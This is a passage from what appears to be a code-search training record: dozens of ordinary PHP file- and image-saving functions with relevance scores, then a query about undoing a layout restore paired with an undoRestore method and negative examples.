"public function save($file)\r\n\t{\r\n\t\tif(empty($this->img))\r\n\t\t{\r\n\t\t\t$this->render();\r\n\t\t}\r\n\t\timagepng($this->img, $file);\r\n\t}",
"public function saveTo(string $path);",
"public function saveFile()\n {\n $newFileName = $this->generateFilename();\n $this->getOwner()->setAttribute($this->attributeName, $newFileName);\n return $this->uploadManager->save($this->getUploadedFileInstance(), $this->getUploadPath(), $newFileName);\n }",
"public function save()\n\t{\n\t\treturn file_put_contents(self::filepath($this->name), $this->content);\n\t}",
"public function storeDocument($file);",
"public function save($file=null, $quality=null);",
"public function save()\n {\n App::cliLog(\"Saving to $this->format file\", false);\n\n try {\n call_user_func([$this, 'export' . ucfirst($this->format)]);\n } catch (Exception $e) {\n App::cliLog($e->getMessage());\n }\n }",
"public function save()\n {\n\n $photo = $this->flyer->addPhoto($this->makePhoto());\n\n\n // move the photo to the images folder\n $this->file->move($photo->baseDir(), $photo->name);\n\n\n// Image::make($this->path)\n// ->fit(200)\n// ->save($this->thumbnail_path);\n\n // generate a thumbnail\n $this->thumbnail->make($photo->path, $photo->thumbnail_path);\n }",
"public function saveFile() {\n return $this->xml->save($this->filename);\n }",
"function pafd_action_save_file() {\n\n\tif ( 'pa_file' != K::get_var( 'post_type', $_POST ) ) {\n\t\treturn;\n\t}\n\n\tglobal $post, $pafd_textdomain, $pafd_helper;\n\n\t$current_user = wp_get_current_user();\n\n\t$nonce = K::get_var( 'pafd-file-nonce', $_POST );\n\t$action = 'pafd_save_file';\n\t$file = K::get_var( 'pafd-file', $_POST);\n\t$file[ 'upload' ] = K::get_var( 'pafd-file', $_FILES );\n\n\t// Check nonce\n\tif ( ! wp_verify_nonce( $nonce, $action ) ) {\n\t\treturn;\n\t}\n\n\t// Ignore autosave\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\treturn;\n\t}\n\n\t// Check there is a file\n\tif ( empty( $file[ 'upload' ][ 'name' ] ) ) {\n\t\treturn;\n\t}\n\n\t// Load previous revisions\n\t$revisions = get_post_meta( $post->ID, 'pafd-file' );\n\n\t// Upload the file\n\t$pafd_helper[ 'pafd_alter_upload_dir' ] = true;\n\t$upload = wp_upload_bits(\n\t\t$file[ 'upload' ][ 'name' ]\n\t\t, null\n\t\t, file_get_contents( $file[ 'upload' ][ 'tmp_name' ] )\n\t);\n\t$pafd_helper[ 'pafd_alter_upload_dir' ] = false;\n\t$error = K::get_var( 'error', $upload );\n\n\tif( $error ) {\n\t\t$pafd_helper[ 'upload_error' ] = $error;\n\t} else {\n\t\t// save the file details \n\t\t$file[ 'name' ] = K::get_var( 'name', $file ) ? K::get_var( 'name', $file ) : __( 'Untitled' );\n\t\t$file[ 'file' ] = preg_replace( '|^' . ABSPATH. '|', '', $upload[ 'file' ] );\n\t\t$file[ 'timestamp' ] = current_time( 'timestamp' );\n\t\t$file[ 'hash' ] = md5( str_replace(\n\t\t\tarray(\n\t\t\t\t':post_ID',\n\t\t\t\t':name',\n\t\t\t\t':authorID',\n\t\t\t\t':timestamp',\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t$post->ID,\n\t\t\t\t$file[ 'name' ],\n\t\t\t\t$current_user->ID,\n\t\t\t\t$file[ 'timestamp' ],\n\t\t\t),\n\t\t\t':post_ID::name::author_ID::timestamp'\n\t\t) );\n\n\t\t// Save file information\n\t\tadd_post_meta(\n\t\t\t$post->ID,\n\t\t\t'pafd-file',\n\t\t\tarray(\n\t\t\t\t'version_id' => 1 + count( $revisions ),\n\t\t\t\t'author_ID' => $current_user->ID,\n\t\t\t\t'timestamp' => $file[ 'timestamp' ],\n\t\t\t\t'description' => $file[ 'description' ],\n\t\t\t\t'name' => $file[ 'name' ],\n\t\t\t\t'version' => $file[ 'version' ],\n\t\t\t\t'downloaded' => 0,\n\t\t\t\t'file' => $file[ 'file' ],\n\t\t\t\t'size' => $file[ 'upload' ][ 'size' ],\n\t\t\t\t'url' => $upload[ 'url' ],\n\t\t\t\t'hash' => $file[ 'hash' ],\n\t\t\t\t'type' => $file[ 'upload' ][ 'type' ],\n\t\t\t)\n\t\t);\n\n\t\t// Set file as current\n\t\tdelete_post_meta( $post->ID, 'pafd-file-current' );\n\t\tadd_post_meta( $post->ID, 'pafd-file-current', $file[ 'hash' ], true );\n\n\t\t// Set current file size for easier access\n\t\tdelete_post_meta( $post->ID, 'pafd-file-size' );\n\t\tadd_post_meta( $post->ID, 'pafd-file-size', $file[ 'upload' ][ 'size' ], true );\n\t}\n}",
"public function save()\n {\n if ($this->createDirectoryStructure($this->getPath())) {\n $content = $this->generateContents();\n file_put_contents($this->getPathname(), $content);\n }\n }",
"public function save($file)\n\t{\n\t\t$f = fopen($file, 'w');\n\t\t$this->convert();\n\t\tstream_copy_to_stream($this->pipes[1], $f);\n\t\tfclose($f);\n\t\t$this->close();\n\t}",
"public function saveToFile($filename) {\n $this->haruDoc->save($filename);\n }",
"public function save($file = NULL)\n {\n if($file === NULL && $this->storage)\n {\n $this->storage->save($this);\n }\n elseif($file !== NULL)\n {\n $this->savePicture($file);\n }\n else\n {\n trigger_error('Image file to save is not defined', E_USER_WARNING);\n }\n }",
"public function saveNewTxtFile()\r\n {\r\n\r\n $fileName = date(\"Y-m-d\") . '-' . rand(0, 512) . \"Question\";\r\n\r\n $file = new StorageFileSaver($fileName);\r\n\r\n foreach ($this->fileContent as $content) {\r\n $file->write($content);\r\n }\r\n\r\n $file->saveAndCloseFile();\r\n }",
"public function storeTo($path = './') {\n\t\tfile_put_contents($path . $this->filename, $this->content);\t\n\t}",
"function savePreviewImage($filename, $destinationFile){\n\t\t $this->resizeSaveImage($filename, $destinationFile, self::previewWidth);\n\t }",
"private function save()\n {\n $this->collage->setImageFormat('jpeg');\n return $this->collage->writeImage($this->name);\n }",
"public static function save($file)\n {\n //caminho para salvar a imagem\n $target = \"img/prods/\" . $file['name'];\n\n //tipos de arquivos permitidos\n $allowed = ['jpg', 'jpeg', 'png', 'gif'];\n\n //pegando a extensão da imagem passada\n $fileExtension = explode('.', $file['name']);\n $fileExtension = strtolower(end($fileExtension));\n\n //verficação para testar a integridade do arquivo passado\n if ($file['error'] == 0) {\n if ($file['size'] < 7000000) {\n if (in_array($fileExtension, $allowed)) {\n\n //se tudo estiver ok, adicione ele na pasta\n move_uploaded_file($file['tmp_name'], $target);\n }\n }\n }\n }",
"public function save()\n {\n return file_put_contents($this->getFilepath(), $this->read());\n }",
"public function save($filename = null)\n {\n $this->writeFile($this->openFile($filename), $this->getContent());\n }",
"public function preview(File $file): string;",
"public function setOutputFile($file);",
"private function saveRobotsTxtAction()\n\t{\n\t\tinclude_once(ISC_BASE_PATH.'/lib/class.file.php');\n\t\t$fc = new FileClass();\n\t\t$content = $_POST['robotstxtFileContent'];\n\t\t$success = 'RobotsSaveSuccess';\n\n\t\tif (isset($_POST['robotstxtRevertButton'])) {\n\t\t\t// Revert button is clicked instead.\n\t\t\t$content = $this->defaultContent;\n\t\t\t$success = 'RobotsRevertSuccess';\n\t\t}\n\n\t\t$res = $fc->writeToFile($content, $this->filePath);\n\t\tif ($res == true) {\n\t\t\tFlashMessage(GetLang($success), MSG_SUCCESS, $this->mainUrl);\n\t\t} else {\n\t\t\tFlashMessage(GetLang('RobotsSaveError'), MSG_ERROR, $this->mainUrl);\n\t\t}\n\t}",
"function save($path, $file) {\n $input = fopen(\"php://input\", \"r\");\n $temp = tmpfile();\n $realSize = stream_copy_to_stream($input, $temp);\n fclose($input);\n\n if ($realSize != $this->getSize()){\n return false;\n }\n\n\n $target = fopen($path.$file, \"w\");\n fseek($temp, 0, SEEK_SET);\n stream_copy_to_stream($temp, $target);\n fclose($target);\n\n // создать миниатюру\n $image = new SimpleImage();\n $image->load($path.$file);\n $image->resizeToHeight(200);\n $image->save($path.'small/small_'.$file);\n ;\n\n return true;\n }",
"public function saveFile(File $f){ \n $campi = array(\n 'id_utente' => $f->getIdUtente(),\n 'url_file' => $f->getUrlFile(),\n 'descrizione' => $f->getDescrizione()\n );\n \n $formato = array('%d', '%s', '%s');\n return parent::saveObject($campi, $formato);\n }",
"public function save($filename, $size=null, $margin=null, $foreground=null, $background=null){ }",
"public function setSavePath(string $path);",
"public function saveToFile($file)\n {\n $data = '<?php return '.var_export($this->all(), true).';';\n\n file_put_contents($file, $data);\n }",
"public function save() {\n\t $file = new File();\n\t $file->setName($this->name);\n\t $file->setPath($this->folder->getPath().'/'.$this->name);\n\t $file->setExtension($this->extension);\n\t $file->setSize(filesize($this->filename));\n\t \n\t $this->em->persist($file);\n\t \n\t $this->folder->addFile($file->getId());\n\t \n\t // Categorized file\n\t if ($file->isPicture()) {\n\t $image = getimagesize($this->filename);\n\t \n\t $fileType = new Picture($this->filename);\n\t $fileType->setWidth($image[0]);\n\t $fileType->setHeight($image[1]);\n\t }elseif ($file->isAudio()) {\n\t $fileType = new Audio();\n\t }elseif ($file->isVideo()) {\n\t $fileType = new Video();\n\t }else {\n\t $fileType = new Document();\n\t }\n\t \n\t if ($fileType !== null) {\n\t $fileType->setFile($file);\n\t $this->em->persist($fileType);\n\t }\n\t \n\t $this->em->flush();\n\t return $file;\n\t}",
"public function save($filename = null)\n {\n $storage = $this->storage;\n $storage->setContentDom($this->contentDOM);\n $storage->setMetaDom($this->metaDOM);\n $storage->setSettingsDom($this->settingsDOM);\n $storage->setStylesDom($this->stylesDOM);\n $storage->save($filename);\n }",
"public function save() {\n\t\t/** @var FieldtypeFile $fieldtype */\n\t\t$fieldtype = $this->field->type;\n\t\treturn $fieldtype->saveFile($this->page, $this->field, $this);\n\t}",
"protected function save()\n {\n return file_put_contents($this->outputPath() . '/' . $this->outputFile(), $this->stub); \n }",
"public function save() {\n\t\t$fileContent = trim(file_get_contents($this->filepath));\n\t\tif ($this->rows) {\n\t\t\t$fp = fopen($this->filepath, 'w');\n\t\t\t$rowcount = count($this->rows);\n\t\t\tfor ($index = 0; $index < $rowcount; ++$index) {\n\t\t\t\t$row = $this->rows[$index];\n\t\t\t\tif ($row->isEditable()) {\n\t\t\t\t\t$variableName = $row->variableName();\n\t\t\t\t\t$pattern = '/\\$'.$variableName.'[\\s]+=([^;]+);/';\n\t\t\t\t\t$replacement = $row->toString();\n\t\t\t\t\t$fileContent = preg_replace($pattern, $replacement, $fileContent);\n\t\t\t\t}\n\t\t\t}\n\t\t\tfwrite($fp, $fileContent);\n\t\t\tfclose($fp);\n\t\t}\n\t}",
"public function saveFile($file, $path)\n\t\t{\n\t\t\treturn Storage::disk('public')->put($path, $file);\n\t\t}",
"private function savePhoto()\n {\n $image = Image::make($this->filePath);\n\n File::exists($this->sanghaPhotosPath()) or File::makeDirectory($this->sanghaPhotosPath());\n\n $image->resize(400, null, function ($constraint) {\n $constraint->aspectRatio();\n $constraint->upsize();\n })\n ->save($this->sanghaPhotosPath() . $this->fileName)\n ->resize(200, null, function ($constraint) {\n $constraint->aspectRatio();\n })\n ->save($this->sanghaPhotosPath() . 'tn_' . $this->fileName);\n\n }",
"function imageSaveFile($property, \\SplFileInfo $file);",
"public function saveToFile()\n {\n $emails = $this->getEmailTemplatesFromRepository()->toJson();\n\n $this->filesystem->put($this->storagePath, $emails);\n }",
"public function saveAs($file, $deleteTempFile = true)\n {\n }",
"public function save($target,$file_name)\n\t{\n\t\tif(!$this->_target) return $this->copy($target,$file_name);\n\t\t\n\t\t$path = $this->_prepare_path($target, $file_name); \n\t\t\n\t\tswitch($this->type){\n\t\t\t\tcase IMAGE_TYPE_PNG : imagepng($this->source, $path); break;\n\t\t\t\tcase IMAGE_TYPE_JPG : imagejpeg($this->source, $path); break;\n\t\t\t\tcase IMAGE_TYPE_GIF : imagegif($this->source,$path); break;\n\t\t}\n\t\t\n\t\t\n\t\t\n\n\t}",
"public function saveDataToFile()\n {\n\n }",
"public static function save_file($_file)\n {\n $photo_file = MyUtil::gen_file_name();\n $new_file = $_SERVER['DOCUMENT_ROOT'] . \"/statics/images/upload/$photo_file\";\n if (file_put_contents($new_file, $_file)) {\n $img_type = exif_imagetype($new_file);\n $ext = image_type_to_extension($img_type, TRUE);\n rename($new_file, $new_file . $ext);\n $new_file = $new_file . $ext;\n return $photo_file . $ext;\n }\n }",
"public function saveStorage($file){\n\t\t$ser_storage = serialize($this->user);\n\t\tfile_put_contents($file, $ser_storage) or die(\"save: unable to open File\");\t\t\n\t}",
"function saveVister()\n {\n \n }",
"protected function save()\n {\n $css = setcooki_path('plugin') . '/var/app.min.css';\n $json = setcooki_path('plugin'). '/var/options.json';\n $options = Option::get('wunderlist_todo_options', array());\n\n if(is_file($css))\n {\n @unlink($css);\n }\n if(is_file($json))\n {\n @chmod($json, 0755);\n }\n @file_put_contents($json, json_encode($options));\n }",
"public function save($filename = self::DEFAULT_NAME)\r\n {\r\n $this->dom->save($filename);\r\n }",
"public function savetheuploadedfile() {\n\t\t$public_dir = 'public/images/';\n\t\t$baseurl = base_url();\n\t\tif ($_FILES['file']['name']) {\n\t\t\t\tif (!$_FILES['file']['error']) {\n\t\t\t\t\t\t$name = md5(rand(100, 200));\n\t\t\t\t\t\t$ext = explode('.', $_FILES['file']['name']);\n\t\t\t\t\t\t$filename = $name . '.' . $ext[1];\n\t\t\t\t\t\t$destination = $public_dir . $filename; //change path of the folder...\n\t\t\t\t\t\t$location = $_FILES[\"file\"][\"tmp_name\"];\n\t\t\t\t\t\tmove_uploaded_file($location, $destination);\n\t\t\t\t\t\t// echo $destination;\n\n\t\t\t\t\t\techo $baseurl.'/public/images/' . $filename;\n\t\t\t\t} else {\n\t\t\t\t\t\techo $message = 'The following error occured: ' . $_FILES['file']['error'];\n\t\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}",
"public function save():void;",
"function savefile($sFileName = null)\n\t{\n\t\tif ((isset($sFileName)) && ($sFileName != '')) {\n\t\t\t$this->setLocations($sFileName);\n\t\t}\n\n\t\t$this->saveImage();\n\t}",
"function savePicture($filepath,$data)\n {\n $file = fopen($filepath,\"w+\");\n fwrite($file,$data);\n fclose($file);\n }",
"public function save(string $file, string $content): void\n {\n $this->filesystem->dumpFile($file, $content);\n }",
"public function save() {\r\n if(isset($this->id)) {\r\n // Really just to update the caption\r\n $this->update();\r\n } else {\r\n // Make sure there are no errors\r\n if(!empty($this->errors)) { return FALSE; }\r\n\r\n // Can't save without filename and temp location\r\n if(empty($this->passport_path) || empty($this->temp_path)) {\r\n $this->errors[] = \"The file location was not available.\";\r\n return FALSE;\r\n }\r\n\r\n // Determine the target_path\r\n $target_path = SITE_ROOT.DS.'public'.DS.$this->upload_dir.DS.$this->passport_path;\r\n\r\n // Make sure a file doesn't already exist in the target location\r\n if(file_exists($target_path)) {\r\n $this->errors[] = \"The file {$this->passport_path} already exists.\";\r\n return FALSE;\r\n }\r\n\r\n // Attempt to move the file\r\n if(move_uploaded_file($this->temp_path, $target_path)) {\r\n // Success\r\n // Save a corresponding entry to the database\r\n if($this->create()){\r\n // We are done with temp_path, the file isn't there anymore\r\n unset($this->temp_path);\r\n return TRUE;\r\n }\r\n } else {\r\n // File was not saved.\r\n $this->errors[] = \"The file upload failed, possible due to incorrect permissions on the upload folder.\";\r\n return FALSE;\r\n }\r\n\r\n }\r\n\r\n }",
"abstract public function store(File $file);",
"function imageSave($property, UploadedFile $file);",
"abstract protected function save($P_Files, $_Params_Info);",
"abstract public function save($file, $messages);",
"function save($file='',$mode=0755){\n\t\t\t\tglobal $_;\n\t\t\t\t\n\t\t\t\tif(_is_array($file)){\n\t\t\t\t\t$err=array();\n\t\t\t\t\tforeach($file as $key=>$f){\n\t\t\t\t\t\tif(!$this->save($f))\n\t\t\t\t\t\t\t$err[]=$key;\n\t\t\t\t\t}\n\t\t\t\t\treturn (count($err)>0);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($file==FETCH_FROM_DB){\n\t\t\t\t\treturn parent::save();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(empty($file) && !empty($this->file))\n\t\t\t\t\t$file=$this->file;\n\t\n\t\t\t\t$this->render($this->data,$file);\n\t\t\t\t\n\t\t\t\tif(!is_writable($file) && is_writable($_['doc-root'].($file[0]=='/' ? substr($file,1) : $file))){\n\t\t\t\t\t$file=$_['doc-root'].($file[0]=='/' ? substr($file,1) : $file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(is_writable($file)){\n\t\t\t\t\t$ret=$this->render(false,$file);\n\t\t\t\t\tif($ret){\n\t\t\t\t\t\t$this->file=$file;\n\t\t\t\t\t\tif(!empty($mode)){\n\t\t\t\t\t\t\tchmod($file,$mode);\n\t\t\t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\t\treturn $ret;\n\t\t\t\t}else{\n\t\t\t\t\tvar_dump('@err[img][save][writeable]',$file,$mode);\n\t\t\t\t\tdie();\n\t\t\t\t\treturn parent::save();\n\t\t\t\t}\n\t\t\t}",
"public function saveToFile($file_path = \"\") {\n// is there an image resource to work with?\n if (isset($this->_resource)) {\n if (!is_dir(dirname($file_path))) {\n $parent_directory = dirname($file_path);\n $mode = 0777;\n $recursive = true;\n mkdir($parent_directory, $mode, $recursive);\n }\n switch ($this->_mimetype) {\n case \"image/jpeg\":\n $file_extension = \"jpg\";\n break;\n case \"image/png\":\n $file_extension = \"png\";\n break;\n case \"image/gif\":\n $file_extension = \"gif\";\n break;\n }\n\n// filling out the file path\n $file_path = sprintf(\"%s.%s\", $file_path, $file_extension);\n switch ($this->_mimetype) {\n case \"image/jpeg\":\n imagejpeg($this->_resource, $file_path);\n break;\n case \"image/png\":\n imagepng($this->_resource, $file_path);\n break;\n case \"image/gif\":\n imagegif($this->_resource, $file_path);\n break;\n }\n\n// assigning the new image file_location attribute\n $this->_file_location = $file_path;\n\n// changing the mode (so that all can make good use of the new image file)\n chmod($this->_file_location, 0777);\n } else {\n trigger_error(\"CAMEMISResizeImage::saveToFile() attempting to access a non-existent resource (check if the image was loaded by CAMEMISResizeImage::__construct())\", E_USER_WARNING);\n }\n\n return $this;\n }",
"public function testFileSaveData() {\n $contents = $this->randomMachineName(8);\n $this->setSetting('file_chmod_file', 0777);\n\n // No filename.\n /** @var \\Drupal\\Core\\File\\FileSystemInterface $file_system */\n $file_system = \\Drupal::service('file_system');\n\n // Provide a filename.\n $filepath = $file_system->saveData($contents, 'public://asdf.txt', FileSystemInterface::EXISTS_REPLACE);\n $this->assertNotFalse($filepath, 'Unnamed file saved correctly.');\n $this->assertEquals('asdf.txt', \\Drupal::service('file_system')->basename($filepath), 'File was named correctly.');\n $this->assertEquals($contents, file_get_contents($filepath), 'Contents of the file are correct.');\n $this->assertFilePermissions($filepath, 0777);\n }",
"public function saveAs($filePath) {\n move_uploaded_file($_FILES[$this->formName][\"tmp_name\"], $filePath);\n }",
"public function saveAs($path)\n {\n return $this->file->saveAs($path);\n }",
"public function save(){\n return parent::writeFile( $this->outputFile, $this->template);\n }",
"public final function save() {\n }",
"private function saveFile($filename, $content) {\n\t\t\t$fullpathFile = $this->output_dir.'/'.$filename;\n\t\t\t$objFile = fopen($fullpathFile, 'w');\n\t\t\tfwrite($objFile, $content);\n\t\t\tfclose($objFile);\n\t\t}",
"public function save(){ \r\n return $this->xmlfile->save($this->absolutepath);\r\n }",
"abstract public function save($img, $filename);",
"public function save()\n\t{\n\t\tif($this->beforeSave())\n\t\t{\n\t\t\t$dest = $this->getStorageFile();\n\t\t\t\n\t\t\tif(file_exists($dest) and is_writable($dest)===false)\n\t\t\t{\n\t\t\t\t@chmod($dest,0777);\n\t\t\t}\n\t\t\t\n\t\t\t$fp = fopen($dest,$this->mode);\n\t\t\tfwrite($fp,$this->data);\n\t\t\tfclose($fp);\n\t\t\t$this->afterSave();\n\t\t}\n\t}",
"public function save()\n {\n $this->readCache();\n\n file_put_contents($this->filePath, json_encode($this->cacheContents));\n }",
"private function save_file_to_path($file){\n\t\tif(!is_dir($this->_mainFolder)){\n\t\t\tmkdir($this->_mainFolder);\n\t\t}\n\n\t\t//After making sure the main folder is created, another folder is created, with the idNews as name.\n\t\t//This just making sure no file is overwritten over time, also for making file order clear.\n\t\t$newFolder = $this->_mainFolder.'/'.$this->id;\n\t\tif(!is_dir($newFolder)){\n\t\t\tmkdir($newFolder);\n\t\t}\n\n\t\t//And now proceed to save the file to path.\n\t\t$f = $file['file'];\n\t\t$n = $file['name'];\n\n\n\t\tlist($type, $f) = explode(';', $f);\n\t\tlist(, $f) = explode(',', $f);\n\t\t$f = base64_decode($f);\n\t\tfile_put_contents($newFolder.'/'.$n, $f);\n\n\t\t//After saving the file, the name of the file is stored, just in case the path changes, we still have the name of the file.\n\t\t$query = \"INSERT INTO files (idNew, file) VALUES(\".$this->id.\", '\".$n.\"')\";\n\t\t$this->_db->query($query);\n\t}",
"public function save()\n\t{\t\n\t\t$savePath = $this->getSavePath();\n\t\tif($result = fopen($savePath,\"w+\")) {\n\t\t\treturn $result;\n\t\t} else {\n\t\t\tthrow new Exception(\"Unable to Save File\", 1);\n\t\t}\n\t}",
"function save($path, $file) {\n // сохраняем миниатюру]\n // создать миниатюру\n // if (!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path.'small/small_'.$file)) {\n // return false;\n // }\n // если всё нормально, то\n // сохраняем оригинальный файл\n if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path.$file)){\n return false;\n }\n\n // создать миниатюру\n $image = new SimpleImage();\n $image->load($path.$file);\n $image->resize(400, 200);\n $image->save($path.'small/small_'.$file);\n\n return true;\n }",
"function OnPostForm()\n {\n $this->SaveFile(\"siteCoatUser\", Array(\"extensions\" => \"gif,jpg,jpeg,png\", \"max_height\" => 139, \"max_width\" => 139, \"make_preview\" => \"N\"));\n }",
"public static function saveToFile($path, $data)\n {\n $content = self::encodeContents($data);\n file_put_contents($path, $content);\n }",
"public function saveFileToPage() {\n if(!$this->savePage || !$this->saveField) {\n throw new WireException('You must define the savePage and saveField options before trying to save an image field');\n }\n\n $value = $this->value;\n // Move attachment into its own temp/quarantined folder so we can give it a nice file name\n if (is_array($value['tmp_name'])) {\n foreach($value['tmp_name'] as $key => $tempName) {\n $this->addFileToField($value['name'][$key], $tempName);\n }\n } else {\n $this->addFileToField($value['name'], $value['tmp_name']);\n }\n $this->value = $this->savePage->getUnformatted($this->saveField);\n }",
"public function save() {\t\t\t\t\n\t\tif (file_put_contents($this->filename, $this->objects)) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"function save()\n {\n }",
"function save()\n {\n }",
"public function getSavePath(): string;",
"public function storeResumeFile()\n\t\t{\n\t\t\t// check to make sure file was posted\n\t\t\tif (!isset($_FILES['resume'])) {\n\t\t\t\t$this->throwJsonError(500, 'No resume file found.');\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t// Get the PHP assigned file name & location from the RAM storage of the file\n\t\t\t$tmp_name = $_FILES['resume']['tmp_name'];\n\t\t\t// Get the original file name as uploaded\n\t\t\t$name = $_FILES['resume']['name'];\n\t\t\t// To ensure all files are unique, get the timestamp of the uplaod.\n\t\t\t$timestamp = date('YmdHis');\n\t\t\t// Determine the server location for the file to be stored.\n\t\t\t$location = \"$this->uploads_dir/$timestamp-$name\";\n\t\t\t// Store the file.\n\t\t\tif (move_uploaded_file($tmp_name, $location)) {\n\t\t\t\tchmod($location, 0666);\n\t\t\t\treturn $location;\n\t\t\t}\n\t\t\treturn $tmp_name;\n\t\t}",
"public function save()\n\t{\n\t\t// -> means the file was never loaded because no setting was changed\n\t\t// -> means no need to save\n\t\tif ($this->settings === null) return;\n\t\t\n\t\t$yaml = Spyc::YAMLDump($this->settings);\n\t}",
"public function save()\n {\n $this->validate();\n $this->validate(['image' => 'required|image']);\n\n // try to upload image and resize by ImageSaverController config\n try {\n $imageSaver = new ImageSaverController();\n $this->imagePath = $imageSaver->loadImage($this->image->getRealPath())->saveAllSizes();\n }catch (\\RuntimeException $exception){\n dd($exception);\n }\n\n $this->PostSaver();\n\n $this->resetAll();\n $this->ChangeCreatedMode();\n $this->swAlert([\n 'title' => 'Good job',\n 'text' => 'successfully added',\n 'icon' => 'success'\n ]);\n $this->render();\n }",
"protected function saveToFile($data, $file)\n {\n file_put_contents($file, \"<?php\\nreturn \".var_export($data, true).\";\\n\", LOCK_EX);\n }",
"public function write($filename);",
"public function write($filename);",
"private function saveFile($liveURL = \"\", $fileContents = \"\") {\n\n\t\t// Reserve a filename for saving\n\t\t$localFilename = $this->getNextFilename();\n\n\t\t// Save the data into this file\n\t\t$localFilepath = $this->cache_folder . \"/\" . $localFilename;\n\t\t$localFile = fopen($localFilepath, \"w\");\n\t\tif(empty($localFile))\n\t\t\treturn null;\n\t\tfwrite($localFile, $fileContents);\n\t\tfclose($localFile);\n\n\t\t// Add the entry into the index\n\t\t$success = $this->addEntry($liveURL, $localFilepath);\n\n\t\tif($success)\n\t\t\treturn $localFilepath;\n\t\telse\n\t\t\treturn null;\n\t}",
"public function save()\n {\n $data = $this->read_file();\n\n if (( ! $data))\n {\n $data = array();\n }\n\n $data[$this->id] = array(\n 'id' => $this->id,\n 'email' => $this->email,\n 'firstname' => $this->firstname,\n 'lastname' => $this->lastname,\n 'password' => $this->password,\n 'token' => $this->token,\n 'logins' => $this->logins,\n );\n\n $this->write_file($data);\n }",
"function save()\r\n {\r\n // read the template\r\n\t $str = dirname(__FILE__); \r\n $content = file_get_contents(dirname(__FILE__).'/partinfo.php'); \r\n if (!$content){\r\n return \"fail read template\";\r\n } \t\r\n \r\n\t $tags = array(\"#TITLE#\", \r\n\t \t\"#BRAND#\", \r\n\t \t\"#MODULE#\", \r\n\t \t\"#ENGINE#\", \r\n \"#TYPE#\", \r\n \"#NAME#\", \r\n \"ADDRESS\", \r\n \"#DATE#\", \r\n \"#PRICE#\", \r\n \"DESCRIPTION\");\r\n\t \r\n $fields[0] = $this->title;\r\n $fields[1] = $this->brand;\r\n $fields[2] = $this->series;\r\n $fields[3] = $this->module;\r\n $fields[4] = \"配件\";\r\n $fields[5] = $this->module;\r\n $fields[6] = \"广州\";\r\n $fields[7] = $this->date;\r\n $fields[8] = $this->price;\r\n $fields[9] = $this->description;\r\n \r\n $content = str_replace($tags,$fields,$content); \r\n \r\n $date = date(\"Ymd-Hms\");\r\n $filename = sprintf(\"publish/%d-%d-%s.php\", $this->id, $this->uid, $date);\r\n $fp = fopen($filename, \"w\");\r\n if (!$fp) {\r\n return \"fail create file\";\r\n }\r\n \r\n if (fwrite($fp, $content) == FALSE) { \t \r\n fclose($fp);\r\n return \"fail wirte content\";\r\n }\r\n \r\n fclose($fp);\r\n return $filename;\r\n }",
"public final function save()\n {\n }",
"public function save($path) {\n return move_uploaded_file($_FILES['uploadfile']['tmp_name'], $path);\n }",
"protected function save()\n {\n switch ($this->image_info['mime']) {\n \n case 'image/gif':\n imagegif($this->image, $this->getPath(true));\n break;\n \n case 'image/jpeg':\n imagejpeg($this->image, $this->getPath(true), $this->quality);\n break;\n \n case 'image/jpg':\n imagejpeg($this->image, $this->getPath(true), $this->quality);\n break;\n \n case 'image/png':\n imagepng($this->image, $this->getPath(true), round($this->quality / 10));\n break;\n \n default:\n $_errors[] = $this->image_info['mime'] . ' images are not supported';\n return $this->errorHandler();\n break;\n }\n \n chmod($this->getPath(true), 0777);\n }"
] | [
"0.74765664",
"0.733764",
"0.7232347",
"0.70646405",
"0.7060334",
"0.6836318",
"0.6782662",
"0.67304534",
"0.6682443",
"0.66709834",
"0.6666528",
"0.6555761",
"0.6401757",
"0.6338384",
"0.6324753",
"0.63203096",
"0.62761396",
"0.626184",
"0.62567663",
"0.6231787",
"0.6229187",
"0.6216409",
"0.6212968",
"0.620009",
"0.61719674",
"0.6148745",
"0.60926396",
"0.6084257",
"0.60820144",
"0.60661954",
"0.6063862",
"0.60421455",
"0.6017991",
"0.601201",
"0.60089",
"0.6008658",
"0.60041606",
"0.5979802",
"0.59756833",
"0.5974983",
"0.5964675",
"0.59538704",
"0.5945978",
"0.59390694",
"0.5927318",
"0.5926864",
"0.5922789",
"0.5921734",
"0.5916019",
"0.5915464",
"0.59151316",
"0.5907999",
"0.58697116",
"0.5855156",
"0.58527327",
"0.58439785",
"0.58389294",
"0.5838267",
"0.5837193",
"0.5834672",
"0.58248293",
"0.58214915",
"0.58170855",
"0.58132786",
"0.5780895",
"0.5780337",
"0.5776119",
"0.577464",
"0.57524985",
"0.574404",
"0.57403713",
"0.573002",
"0.57184845",
"0.5715952",
"0.5707569",
"0.570514",
"0.5705047",
"0.5701083",
"0.56930166",
"0.5680587",
"0.5677588",
"0.5667975",
"0.5660952",
"0.56597555",
"0.56586635",
"0.56570256",
"0.56570256",
"0.56490314",
"0.56462085",
"0.56421065",
"0.56365556",
"0.5633527",
"0.5626784",
"0.5626784",
"0.56218874",
"0.56214654",
"0.5621085",
"0.5617719",
"0.5613287",
"0.56047034"
] | 0.7212979 | 3 |
/ Undo the restore revert back to the layout before the restore | public function undoRestore ()
{
if (file_exists ( $this->_previewFilename ))
{
unlink($this->_previewFilename);
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function restore();",
"public function restore() {}",
"public function restore()\n {\n //\n }",
"protected static function restore() {}",
"function restore()\n {\n }",
"public function restore()\n {\n }",
"public function revert();",
"public function restoring($model)\n\t{\n\t}",
"public function revert(){\n\t}",
"abstract public function revert();",
"public function restoreGraphicState() {}",
"public function restoreGraphicState() {}",
"public function restored(Edit $edit)\n {\n //\n }",
"public function restore(): void\n\t{\n\t\t$this->processor->restore();\n\t}",
"protected function _processRevertToDefault()\n {\n }",
"public function restore($template);",
